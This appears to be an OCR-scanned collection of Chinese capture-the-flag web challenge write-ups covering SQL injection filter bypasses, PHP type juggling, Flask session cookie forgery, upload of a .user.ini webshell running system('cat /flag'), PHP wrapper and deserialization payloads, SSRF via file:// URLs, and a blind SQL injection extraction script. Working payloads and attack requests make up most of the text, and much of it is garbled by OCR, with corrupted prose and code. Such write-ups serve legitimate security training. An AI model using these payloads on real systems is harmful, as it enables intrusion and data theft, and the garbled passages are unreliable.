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You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the r
ight syntax to use near '1=1#' and password='1" at line 1
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You have an error in your SQL syntax; chéck the manua]_tbal cqrresPorEto your Mar|aDB§grver verslon for the right syntax to use near '1,2,3#' and password="1" at line 1
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/check.php?username=1' ununionion seselectlect 1,2,3%23&password=1
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/check.php?username=1' ununionion seselectlect 1,database(),version()%23&password=1




BE—THAEMNEEE, XEHBFEENSfrom, information:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

E—*r’ou ssword is___
information_schema, mysql,performanc
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/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmat
ion_schema.tables)
whwhereere table_schema="ctf" %23



BB

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorr
mation_schema.columns) whwhereere
table_name="Flag" %23

BHE:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

K15 flag.
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Try to find out source file!

EZRT &ML )G, BERE, AET—T, BRXHKEHR /index.php.bak , #RJE3RKEEindex.php

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!'is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;

}
}
else {

echo "Try to find out source file!";
}

ERGETH RfE @ — /" KeylE, FHHKeyhZiU A FH% T 123ffwsfwefwf24r2f32ir23jru923rskfjwtsws4w3 iX—FRF
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flag{aeaObf78-aa83-4aae-b22a-5f45237bc255}
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hctf

Welcome to hctf
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#EERZANFE, REEREMPEATIEE, BRI

<html>
P cheads..</head>
=+ ¥ chody> == §8
P odiv class="nav" . div>
P <div class="nav-setting”».</div>
P odiv class="ui grid">.</div>
<l-- you are not admin -->»
<hl class="nav":*Welcome to hctf</hl:
P oscript type="text/javascript”r.</script:
</body>
</html>

flitt 2@ idadminik 5RIKE ! (FEBHRZXMadmink 5 FREANFH S, #i3123)

FEFRE X B A EANRRR, TREZZLZMEN —MKSEFE test test



register

Username *

test

Password

verify_code”

m7dx



hctf

Hello test

Welcome to hctf

¥ a1y class= menu’ tabindex="-1">
<a class="item" href="/index">index</a:>
<div class="divider"»</div:>
<a class="item" href="/edit">post</a>
<a href="/change” class="item">change password</a>
<a class="item"” href="/logout”>logout</a>

</div>
<fdive
rratter
<fdive

ML EREREN KO TR, A2 ERE A ER ARG, KT APk

P cdiv class="ui grid”>.</div>
¥odiv class="ui grid">
<div class="four wide column”></div:>
= ¥<:div class="eight wide column™> == 38
<!l-- https://github.com/woads11234/hctf_flask/ -->
P <form class="ui form segment"” method="post"” enctype="multipart/form-data”>..</form>
</div>
<fdive

https://github.com/woads11234/hctf_flask/
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#% include('header.html”) %}

% if current user.is authenticated %}
class="nav">Hello {{ session['name’] }}

% endif %}

% if current user.is authenticated and session[’'name'] == ‘admin® %}
class="nav">hctf{xoocooonac}

% endif %}

class="nav">Welcome to hctf

% include('footer.html") %}
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{XAE S RFcookie M W A8 H IR B .

sessionfI LAEFEHE: (BAEASEEA
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(1) ZH—"sessionFH— kK8 HIS, —M—KIAR IR T A K cookied .

(2) H5fdfsession_start()E%, PHP M sessiont: %k & 477 ik sessionZE &
(3) LPATPHPIA RS, 83T 1# Fsession register()& $iE MsessionE & .

(4) HPHPHIAPATERES, RSB sessionBB&LH H AN RFELEAM — €A T KsessionfEd, XA LUlE
php.ini X #FH ffisession.save_pathig &, T ¥ % M9 TTES BT BN A
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# Flsession
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#!/usr/bin/env python3

import sys

import zlib

from base64 import b64decode

from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'."', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False

if payload.startswith(b'."'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__":

print(decryption(sys.argv[1].encode()))

) A K sessionfl@ZE I F -

(BRI RERATBE N2 i A R H S E fsessionit F EAESECRET_KEY, 5 & A17Econfig.pyE &I T SECRET_KEY

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckji23"'

SR JE fEindex.html T T & B R Esession['name’] == 'admin’ Bl &1 L5 Flflag



include( 'header.html") %}

it current user.is authenticated %}
class="nav">Hello {{ session['name’'] }}

endif %}

if current_user.is_authenticated and |session[ 'name’'] == "admin’ %}
class="nav" >hctf{xxxxxxxxx}

endif %}

class="nav">Welcome to hctf

include('footer.html") %}

https://blog.csdn.net/qg_4

FRBAIL T —/Mlask sessionfin % i) il 4 https://github.com/noraj/flask-session-cookie-manager

python3 flask_session_cookie_manager3.py encode -s "ckji123" -t "{'_fresh': True, '_id': b'a909bbd@24dd8bac502f95
bdfade3a0e3d4e605271f2d5811fb80f1bd08d1l4ae5e5fel0c3a7f2eab49e217e896b09bdfbd5d324c716e11e5b20008ce4318295b', 'cs
rf_token': b'205e6ae493b89e71a7cc@6ba3aa7bl8cd8b@ac6c’', 'image': b'm7DX', 'name': 'test', 'user_id': '1@'}"
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Wrong verify code

Username *

admin

Password


https://xz.aliyun.com/t/5402

verify_code”
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register

The username has been registered

Username "

Password "

verify_code *

DsaN
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@app.route(’/change', methods = ["GET', 'POST'])
def change():
if not current user.is authenticated:
return redirect(url for(’'login'))
torm = NewpasswordForm()
if request.method == "POST':
name = strlower(session| ‘name’])
user = User.query.tilter by(username=name).first()
user.set password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url for(’'index'))

return render template('change.html®, title = ‘“change’, form = form)
hitps:/fblog.csdn.net/qg_48175067

R — Fregister. login

@app.route(’/register’', methods = ['GET", "POST'])
det register():

if current user.is authenticated:
return redirect(url for('index'))

form = RegisterForm()
if request.method == "POST':
name = strlower(form.username.data)
1t session.get( image ).lower() != form.verify code.data.lower():
ftlash('Wrong verify code.')
return render template('register.html’, title = 'register', form=form)
if uUser.query.filter by(username = name).first():
tlash('The username has been registered’)
return redirect{url for( 'register'))
user = User{username=name)
user.set password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful")
return redirect(url for('login’))
return render template('register.html’, title = 'register’, form = form)

@app.route(’/login’, methods = ['GET', 'POST'])
def login():
if current user.is authenticated:
return redirect(url for('index'))

form = LoginForm()
if request.method == "POST':
name = strlower(form.username.data)
session|[ name’ ]| = name
user = User.query.filter by(username=name).first()
if user is MNone or not user.check password(form.password.data):
ftlash('Invalid username or password")
return redirect(url for('login"))
login user(user, remember=form.remember me.data)
return redirect(url for('index')) hittps://blog.csdn.net/qq_48175067
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def strlower(username):
username = nodeprep.prepare(username)
return username

B strlowerti . XANRB AT RIERE®EHE/NE . nodeprep.prepare )4 th 2 AR ¥ pla (B fih i JLAOMINE, &84 p
ADMIN. X 2XA R E IR .

RIGFRBEMED, BRITKBMAK P A% strlowerifi $. WMREAXMRFR, RINFIENHS- RN, HEMNBWAR
HuADMING, 2353 lRADMIN, X < B i T i F 7

X FUnicode AT LL&%— T : https://pandaig1.github.io/2018/11/15/HCTF %20admir/
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@app.route( " /change', methods = ["GET', 'POST'])
change():
if current user.is authenticated:
return redirect(url for('login’))
form = NewpasswordForm()
if request.method == "POST':
name = strlower(session[ ‘name’])

user = User.query.tilter by(username=name).first()
user.set password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url for('index"))

return render template(’'change.html®, title

XBENEA T —Kstriowerki #. WATIAER 2 ZADMIN. BXIEHERMNKAE P 2 & Badmine X2 E s K%
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@app.route(’/login’, methods = [ 'GET', "POST'])
def login():
if current_user.is_authenticated:
return redirect(url for('index'))

form = LoginForm()
if request.method == "POST':
name = strlower(form.username.data)
session[ ‘name’] = name
user = User. querv tilter by(username=name).first()
it user is None or not user.check password(form.password.data):
ftlash('Invalid username or password’)
return redirect(url for('login'))
login user(user, remember=form.remember me.data)
return redirect(url for('index'))

return i "login.html’ i = "lpogin "m_= T
return render template('login.html®, title 1 :HMnﬁ%ﬁWnr' rTQH1’bUH’

@app.route(’/change’, methods = ['GET", 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url for('login'))
form = NewpasswordForm()
if request.method == 'POST":
name = strlower(session[ 'name’])
user = User.query.tilter by(username=name).first()
user.set password(form.newpassword.data)
db.session. commit(}
flash('c cessful')
return FeleELt(UPl _for('index"))
return render template('change.html’, title = 'changgtps:/biotmcsdnfoesk)yy_ 48175067
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SYCLOVER

HI HACKERS
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<l--
~~~post money and password~~~
if (isset($_POST[ 'password’'])) {
$password = $_POST[ 'password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";

MEE—T

POST fpay.php HTTR/ .1

Host: 669af2c3-96f2-4bc0-a143-bh1b23f4eh92. node3. buuaj.cn

Content-Length: 12

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Windows MNT 10.0; WinB4; xB64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Crigin: http://669af2c3-96f2-4be0-a143-bh1h23fdeh92. node3. buuaj.cn

Content-Type: application/s-www-farm-urlencoded

Accept: text/html application/xhtml+xml applicationfxml;q=0.9 image/avif imagefwebp imagefapng, ™ q=0.8 application/signed-exchange;v=h3;q=0.9
Referer: hitp://B69af2c3-96f2-4bcl-a143-bb1h23f4eh92 node3 buuaj.enipay.php

Accept-Encading: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UM_distinetid=1773906hL7 d6785-057991d932031h-31346d-144000-17 7390607 d7 aae; user=0

Connection: close

password=404

RIE X L5 BT R EL T postt i H IS BEE T404 4% T HE MR E £4E%F100000000 ¥ 4H 4 i 404 2 HE
is_numericef AW H R BT A RATTE SR &, 7E404 54 A7 &

Referer: http://B69af2c3-96f2-4bcl-a143-bb1h23f4eh92.n
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: |user=1

Connection: close

password=404admoney=100000000

EAEEMERAINE KB R HcookieMER Muser=0 B IX H B EZRUR1H], 52155 nember lenthis too long EiRZKEHR
) R BT CAX B R AT Bistremp ) R B0 1 g

money/s N[, 5 %flag

password=404a&m0ney[]|=1 00000000

o mr R Bk

password=404a&money[]=1&10
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Upload Labs

MEE | R | s

=

HRZJER—AME LR, ST LTS —T, KA EAR AR, HRRIN—AEARSSEER.

Upload Labs

NS | SEEE | s T
123z
<? in contents!

ViEIT N AT BEEE, THRENESR, KIAwWpERET .user.ini, XREWR—INMEHIHEKLE
5 62 exif_imagetype BRBURMIM SCAFRAL, By LAFE TR AN LB BUARHAE, SRGEEAT I .
$image_type = exif_imagetype($tmp_name);

if (!$image_type) {

die("exif_imagetype:not image!");

}
BATAT Lo g b AR BA I _E AR R A K0 Bk 5 BT BAGRA -

e JPG: FFD8FF EOOQO 10 4A 46 49 46
e GIF(H4 T 3CAKIGIF89a): 47 49 46 38 39 61
e PNG: 89504E 47

Sl fE— A useriniSCh: (TEMER N EE S, AT DLEEAIE Mo, REBEUER)

GIF89a
auto_prepend_file=a.jpg

FEEA S, BEASE <R SEE, P —aiEARS, XAAFRERM user.ini U B —#

GIF89a
<script language='php'>system('cat /flag');</script>

MG 4% user.iniSXC



Upload Labs

MR | SR | AN
7
Your dir uploads/852aff287f54bcaled7757a702913e50

Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(Q) ".user.ini" [3]=> string(5) "ajpg" [4]=> string(9) "index.php" }

HEEEAD

Upload Labs

R | R | A
s
Your dir uploads/852aff287f54bca0ed7757a702913e50

Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" }

1§ Flhackbarijj [a]index.php

LOAD SPLIT EXECUTE TEST -~ sqQLl -~ XSS - LFI -~ SSTI -~ ENCODING -~ HASHING -~

URL
http://e9ef50a8-2ca8-40f8-8¢c94-c71e42e3f30a.node3.buuoj.cn/uploads/852aff287f54bcaled7757a702913e50/index.php

Hf5flag

GIF89a flag{dee1ae77-660e-43ee-81d6-23b1e8f2244a}
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BEERA— N, R/, RENE, EREZFERIERN LRI T — M ERIEH



HTTR/M .1 200 0K

Sernver: openresty

Date: Mon, 01 Feb 2021 09:35:00 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Hint: select * from ‘admin’ where password=md5($pass true)
X-FPowered-By: PHP/7.3.13

Content-Length: 3107

select * from 'admin' where password=md5($pass,true)

RIEAE T — TMD5%EE

I ffifdyop W LUEE, JREIFBRER FRAFEMMN168H TR 8 25 REF —NFRA A0, RERXAFH

Do You Like MD5?

ARG R E VRS K IR
<!--

$a = $GET['a"];
$b = $ GET['b'];

if($a != $b & md5(%$a) == md5($b)){
// wow, glzjin wants a girl friend.

X ERIGRA G A AP N LMD < JF ARSI FAF S 581, T LUz i $udl R ig iiflase==flase 521

/levels9l.php?a[]=1&b[]=2 //al%ETb
?a=QNKCDZ0&b=5878926199a

PR, ARJE LT — B

<?php

error_reporting(®0);
include "flag.php";
highlight_file(_ FILE_ );

if($_POST[ 'paraml']!==$_ POST[ 'param2']&&md5($_POST[ 'paraml’])===md5($_POST[ 'param2'])){
echo $flag;

RERERMGN, FTURGBHERASEA T, posttEZHifT



paraml[]=1&param2[]=2

LOAD SPLIT EXECUTE TEST -~ sQLl -~ XSS -~ LFI

URL
http://d70efb95-81d2-4663-8bd5-h963e3545a27.node3.buuoj.cn/levell14.php

v SSTI -~

EN

enctype

Enable POST application/x-www-form-urlencoded

Body

param1[]=1&param?2[]=2

PFf5flag.

24.[ZJCTF 2019]NiZzhuanSiWei

HANZ R — B

<?php
$text = $_GET["text"];
$file = $_GET["file"];

$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text, 'r')==="welcome to the zjctf")){
echo "<br><hl>".file_get_contents($text, 'r')."</h1l></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}

else{
highlight_file(___FILE_ );

?>

T E L $textiii \ "welcome to the zjctf* £ NS GE#HAT RIS IR, X B AT LA php:/inputth B E APOSTH ufe N ¢

welcome to the zjctf " t5 7] LA F datath th i fE S

?text=data://text/plain;base64,d2VsY29tZSBObyBOaGUgempjdGY=



Request

J Raw T Params I Headers T Hex ]

Response

_JRMTHwﬂmIHwIKML]

POST fPtext=php:/finput |HTI'P:"I A

Host: 37686818-2e26-4cdb-843a-fhefar79fafb. node3. buuoj.cn
Content-Length: 20

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent; Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/88.0.4324.104 Safarifs37.36

Origin: http: (/37686818-2e26-4cdb-843a-fhefar 7 Ifafb.node3. buuoj.cn
Content-Type: application/x-www-form-urlencoded

Accept:

text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp imagefapng "™ q=0.8 ap

plication/signed-exchange;v=h3;9=0.9

Referer: http:/(376B6818-2e26-4 cdb-843a-fhefar 79fafb. node3. buuoj.cnf
Accept-Encoding: gzip, deflate

Accept-Language; zh-CN,zh;q=0.9

Cookie: UM_distinctid=1773906b7 d6785-057991d932031 b-31346d-144000-177390607 d7 aae

Connection: close

welcome to the zjctf

FI F phpth th il filteri Bt useless.php

HTTR/1.1 200 OK

Server: openresty

Date: Mon, 01 Feb 2021 10:08:62 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38

Connection: close

X-Fowered-By: PHP/5.6.40

L

<br><hl>welcome to the zjctf</h1></br>

&file=php://filter/read=convert.base64-encode/resource=useless.php

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST ftext=php: Minput&file=php:/fiter/read=convert. baseb4-encode/resource=useless. php
HTTR/M 1

Host: 376686618-2e26-4cdb-843a-fhefa779afh. node3. buuaj.cn

Content-Length: 20

Cache-Contral: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/88.0.4324.104 Safari/537.36

Origin: http:/f37686818-2226-4cdb-843a-fhefar 7Hfafb. node3. buugj.cn

Content-Type: application/x-www-form-urlencoded

Accept:

text/html application/xhtrl+xmlapplication/xml; g=0.9 image/favif image/webp image/apng "™ q=0.8 ap
plication/signed-exchange;w=h3;q=0.9

Referer: http://376866818-2e26-4cdb-843 a-fhefa779fafh.node3. buuoj.cnf

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UM_distinctid=1773906h7 d6785-057991d932031b-31346d-144000-177 390607 d7 aae
Connection: close

welcome to the zjotf

base64f# %153 2 JRIY

<?php

class Flag{ //flag.php
public $file;
public function _ tostring(){
if(isset($this->file)){
echo file_get contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");

}

?>

FHATR I, BEIFFILE 7R &R

= new Flag();
echo serialize(%a);
//0:4:"Flag":1:{s:4:"file";N;}

HTTP/1.1 200 0K

Server: openresty

Date: Mon, 01 Feb 2021 10:10:39 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 410

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHF/5.6.40

<br><h1>welcome to the

zjctf</hl > </br>PDIwaHAglAoKY2xhc3MgRmxhZ3sglCBvZmxhZyswaHAglAo gl CAgcHVib GIjICR
maWxl0yAgCiAglCBwdW.JsaWMgZnVuY3Rpbh24gX190b3N0cmluZygpeyAgCiAglCAgICAgaW
YoaXNzZXQo.JHRoaXMtPmZphGUpKXsglAoglCAglCAgICAgICBIYZhwIGZphGVIZ2V0X2NvbnRI
bnRzKCR0aGlzLTSmaWxIKTsgCiAgICAglCAglCAglGVjaGBgljxicjdiOwoglCAgICAgIHJIdHVyh
iAcllUgUiBTTyBDTESTRSAhLy8vQOINRSBPTIBQTF 0iKTsKICAgICAgICBIICAKICAgIHOglApIl
CAKPzdglAo=



F F password s & #E4T & 7 514k

0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /?text=php:finput&file=useless. php&password=0:4:"Flag™ 1:{s:4:"file";5:8: "flag. php"; } : HTTR/1.1 200 0K
HTTF/1 .1 Server: openresty
Host: 37686618-2e26-4cdb-843a-fhefar79fafb. node3. huuoj.cn Date: Maon, 01 Feb 2021 10:15:34 GMT
Content-Length: 20 Content-Type: text/html; charset=UTF-8
Cache-Cantrol: max-age=0 Content-Length: 215
Upgrade-Insecure-Requests: 1 Connection: close
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537. 36 (KHTML, like Gecko) Vary: Accept-Encoding
Chrome/88.0.4324.104 Safar/537.36 ¥-Powered-By: PHP/5.6.40
Crigin: http:/f37686818-2e26-4 cdb-843a-fhefar73fafb. node3. huuoj.cn
Content-Type: application/x-www-form-urlencoded <hr=<h1>welcome to the zjctf</h1=</hr>
Accept: <br=oh u find it </br>
text/html application/xhtml+xml application/xml, q=0.9 image/avif image/webp image/apng **;q=0.8 ap
plication/signed-exchange;v=b3;q=0.9 <l--but i cant give it to u nove->
Referer: http:/f37686616-2e26-4 cdb-843a-foefar 79fafh. node3. buuoj.cn/
Accept-Encoding: gzip, deflate <?php
Accept-Language: zh-CM,zh;g=0.9
Cookie: UM_distinctid=1773906b7 d6785-057991d932031b-31346d-144000-1773906b7 d7 aae if(2===3){
Connection: close return ("flag{B01 ce7Oe-2cdd-412f9e5d-2620b5ch12bda)");
'
welcome to the zjctf
7=
<br=U R SO CLOSE ¥//COME ON PLZ

payload X :
?text=data://text/plain;base64,d2VsY29tZSBObyBoaGUgempjdGY=&file=useless.php&password=0:4:"Flag":1:{s:4:"file";s

:8:"flag.php";}

K15 flag.

25.[CISCN2019 4]t % X Day2 Web1]Hack World
All You Want Is In Table ‘'flag’ and the column is ‘flag’

Now, just give the id of passage

| =3

IR JE B XA T, VIR HENERAERWAsqQUEQRTER, HRUR—T, ERERRTFEIET, HhiA

;select flag from flag;

All You Want Is In Table ‘'flag’ and the column is ‘flag’

Now, just give the id of passage

| =3

SQL Injection Checked.




RAMTEE (BaRsqiEANRRD , BMBA—T select B

All You Want Is In Table ‘flag’ and the column is ‘flag’

Now, just give the id of passage

| =3

bool(false)

BeALIE, HAESQLIEAE T selectbhsh, HARPOIIEKIMBRKM, PFrOSFIMAE RS E T EH, UK - TEMEH

;select(flag)from(flag);

RILAN B N selectiR [5] 45 S — ¥ #R & bool(false), FTLAH Al fgZboolEiE, AR, ARIEFFHENLE KR Rlagh
uuid, uuidZ3207BENLFRFER, BT LA B4 S pythonil 4k 3K B flag

LRBEAEN, WA, BETid=1H%R, WATEIED, KEXR—AREOH, FWSCEHE, R4 E gwem
flag

1~(ascii(substr((select(flag)from(flag)),1,1))>x)"1

& ascii(substr((select(flag)from(flag)),1,1))>0 N E
M F111
Hn 5 ascii(substr((select(flag)from(flag)),1,1))>0 &
24101

ZHH—MEOKIES], HWiflagh % — 7R Fasciiid A101

if((ascii(substr((select(flag)from(flag)),1,1))=101),0,1)

All You Want Is In Table ‘'flag’ and the column is ‘flag’

Now, just give the id of passage

| =3

Hello, glzjin wants a girlfriend.

HtHello, FRXAMMTIREINT GE: EEWAEAMBA, BIRRREERXDS) , HHE—NFERascifd 101, Error
FaRMALIREO, ZE—AFfFascifd A RN102

if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)



All You Want Is In Table ‘flag’ and the column is ‘flag’

Now, just give the id of passage

| =3

Error Occured When Fetch Result.

S J5 B #l— T pythonfii 4

import requests
import time
import re

url = "'
flag = "'
for i in range(1, 43):
max = 127
min = @
for c in range(0, 127):
s = (int)((max + min) / 2)
payload = '17(ascii(substr((select(flag)from(flag)),"' + str(i) + ",1))>" + str(s) + ")’
r = requests.post(url, data={'id': payload})
time.sleep(1)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = s
else:
min = s
if ((max - min) <= 1):
flag += chr(max)
break
print(flag)

BRUBER—T, EAERXIMEARKNERK, HEs!

26.[th & KBk 2019]HardSQL



, REFANBERAR G E, MAKRTLBEIFSQLEN, LK, FELEAARFE LN FlagT !

[ -

i

_

?5

Syclover @ clqgy

SGBEIZRR T !

WEEEN
updatexml()R &5 EN

T—ANE5S, HIME, BT 1855, RABEMET, FUBEBRASSHE, REERBandFREFE, RUEE, FEREEN, T
mﬂﬁT;%Eﬁ%ﬁg;%$k§%ﬁﬁﬁﬁgﬂﬁ%%ﬁﬂmuk¢m,%Uﬁﬁﬁtmuhmmgﬁﬁﬁ

payload:
check.php?username=admin'or(updatexml (1, concat(0x7e, (select(table_name)from(information_schema.tables)where(tabl
e_schema)like(database())),0x7e),1))%23&password=pass

BHRA:

XPATH syntax error: '~H4rDsql~'

payload:
check.php?username=admin'or(updatexml (1, concat(0x7e, (select(group_concat(username))from(H4rDsql)),0x7e),1))%23&p
assword=pass

BT

XPATH syntax error: ‘~flag~'

payload:
check.php?username=admin'or(updatexml (1, concat(0x7e, (select(group_concat(password))from(H4rDsql)),0x7e),1))%23&p
assword=pass

BHE S flag

XPATH syntax error: '~flag{57ad3b36-a@ae-4926-aabe-34"

XEEEF A, BiRright(), NGIIER, XERELRHE TselectMBIEKE

payload:
check.php?username=admin'or(updatexml (1, concat(0x7e, (select(group_concat(right(password,30)))from(H4rDsql)),0x7e
),1))%23&password=pass

B IS flag

XPATH syntax error: '~6-a@ae-4926-aabe-34d3dd8baed2}~"

extractvalue(J# &5 A



payload:
check.php?username=admin'or(extractvalue(1,concat(0x7e, (select(group_concat(right(password,30)))from(H4rDsql)),0
x7e)))%238&password=pass

B flag
~6-alae-4926-aabe-34d3dd8ba@d2}~
HAp#E 2L, extractvalueb—ASHME

EHEZIH SR RAag T !

27.[M 54 2018]Fakebook

the Fakebook
o]

Share your stories with friends, family and friends from all over the world on rakebook.

# username age blog

TFaREH 2B, FERAKET —T, WRrobots dELR, MAZEER

User-agent: #*
Disallow: /fuser.php. bak

TRZJGEITITRIHG

function get($url)

$ch = curl init();

curl setopt($ch, CURLOPT URL, $url);
curl setopt($ch, CURLOPT RETURNTRANSFER, 1);
$output = curl exec($ch);
$httpCode = curl getinfo($ch, CURLINFO HTTP_CODE);
if($httpCode == 484) {

return 404;

url_clo;e($ch)4

return $output;

log.csdn.net/igg_481

T REE BEssrf, KT ARG —LRBHIRR



<?php
/1 BlE—4-cuR
$ch = curl init();

/1 B EURLFIAH S f] 55T
curl setopt($ch,CURLOPT URL,""™);
curl setopt($ch,CURLOPT HEADER,®);

// PEBURLIF B ) B4

curl exec($ch);

curl close(%$ch);
>

log.csdn.net/qg_48

MRIEIRRLHIIE 7 514k

<?php class Userlnfo { public $name =""; public $age = 0; public $blog =""; } $a = new UserInfo(); $a->name = 'admin888'; $a-
>age = 12; $a->blog = "file://Ivariwww/html/user.php'; echo serialize($a); ?>

0:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}

B % Hipayload:

http://0e2281ca-0139-4289-802f-933e22fcle69.node3.buuoj.cn//view.php?no=-1/**/union/**/select/**/1,2,3,'0:8:"Use
rInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}"

username age blog

2 123 file:///var/www/html/flag.php

the contents of his/her blog

KRG IR S flag

28.[GXYCTF2019]BabySQli



‘UserName ‘

‘ password ‘

K EIRIS 5 KIF 1~search.php
ey -

¥ <center>
o » <form action="search.php” method="post” style="margin-top: 308" :.</form:> == $@
</center:

#HEE R

<1 - -MMZFMA22KSHDASKDNS TVU3SKOZRFGORRMMZ FMEK ] JBSGEWSY JIWESSCWPINFQSTVLFLTCICIIQYGOSTZKI2VSVZRNRFHOP IS -- >
<html>
¥ chead>
<meta http-equiv="Content-Type” content="text/html; charset=utf-8">
<title>Do you know who am I?</title>
</head>
=+ <hody>wrong user!</body> == %8
</html>

Base32f# % 5153

c2VsZWNOICogZnIvbSB1c2VyIHdoZXJ1IHVZzZXIuYW11IDOgIyRuUYW11Iw==

SR JEbaseb4 @ %

select * from user where username = '$name'’

FENFIIHE AT PA R B2 Bl Eno user 8% no pass B A 15i Aadmin &I & no pass iy A\ H Al FI % & B2 no user 1R B B 455 7 1E
adminiX ANk 5

b=
admin' 4
admin'# BIEIEH®

fuzz7 —F, S Tor, RKESHT order by 3 EHFIH, WEIH3%]
HHEAN

admin' union select 1,2,3#
1

B Ewrong pass

AT, mysqiE BRAFAENBIEN, < B83REMNLHE



Bi&ZEL 123, Hmd51E N 202cb962ac59075b964b07152d234b70
Bt LLZE name 2 A\

1' union select 1, 'admin’', '202cb962ac59075b964b07152d234b70"#

SR J5 password ) {E 4123, post— FEI A 15 Flflag

29.[™ S AF 2020 75 J2 4 ]AreUSerialz
HE: 2 JE R HEURD
<?php
include("flag.php");
highlight_file(_ FILE_ );
class FileHandler {
protected $op;
protected $filename;
protected $content;
function _ construct() {
$op = "1";
$filename = "/tmp/tmpfile";

$content = "Hello World!";
$this->process();

}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {

$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) & isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file put_contents($this->filename, $this->content);
if($res) $this->output(“Successfull");
else $this->output("Failed!");
} else {
$this->output(“Failed!");

private function read() {
$r‘es = IIII;



if(isset($this->filename)) {
$res = file get contents($this->filename);

}

return $res;

}

private function output($s) {
echo "[Result]: <br>";

echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";

$this->process();

}

function is_valid($s) {
for($i = @; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;

}

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {

$obj = unserialize($str);

}

FEEZZEPHP R FFIL
PHP R FFI4L UG, @itz klread()isElag.php I %
RELS AN

1. is_valid() B B E 7R FIASCIRG A 25 /£ 32-125, Tiprotected J& P 7E 7 54k 5 2 HBLAR AT W FFH\001\00, #H4b AASCIRLARRF
HER.

Geit I
OPHP7.1 LA ERRAN J& R BN BUK, public)@ 5 A & B AT L7 4F, 7 BAA public/s R s2id

@private)@ M7 FIAL KA % £ 5] ABEMWX00, ERIXBEMX005 Rascifd N0 F/F. INFHFERANEETREAR, EES
HAEW, HRulgmBEMITERBERET. HE, protectedBHES 5 AWX00%\X00. BLEY, AT B0y #3477 51k Payload
K5 En, BRINTTUEFFIUMHNEFHRESRRNER S, B XAZR/ 5 Rk G 072/ 5 163 R R .

B LA# i payload:

?str=0:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

KAV IR Efag.



30.[MRCTF2020]#% 4% £ [ 1l

AR | AR A

htaccess3CH A

htaccess (B & "9 A NECE X" 2 F5ZHypertext Access(BXX AN ). R4 T 43 B RSB REK 7L, B, M
SERSCS HRPBE - NMEE—ANREANELSHE, DERATHERERFEFER. EARF, iR a4 23R
#. &3 5T LLE T Apache I AllowOverridedg 4 ki & .

#T FFapachehttp.conf3 {4
# 2 AllowOverride None, K H ¥ ~AllowOverride All

$TIF .htaccess B A

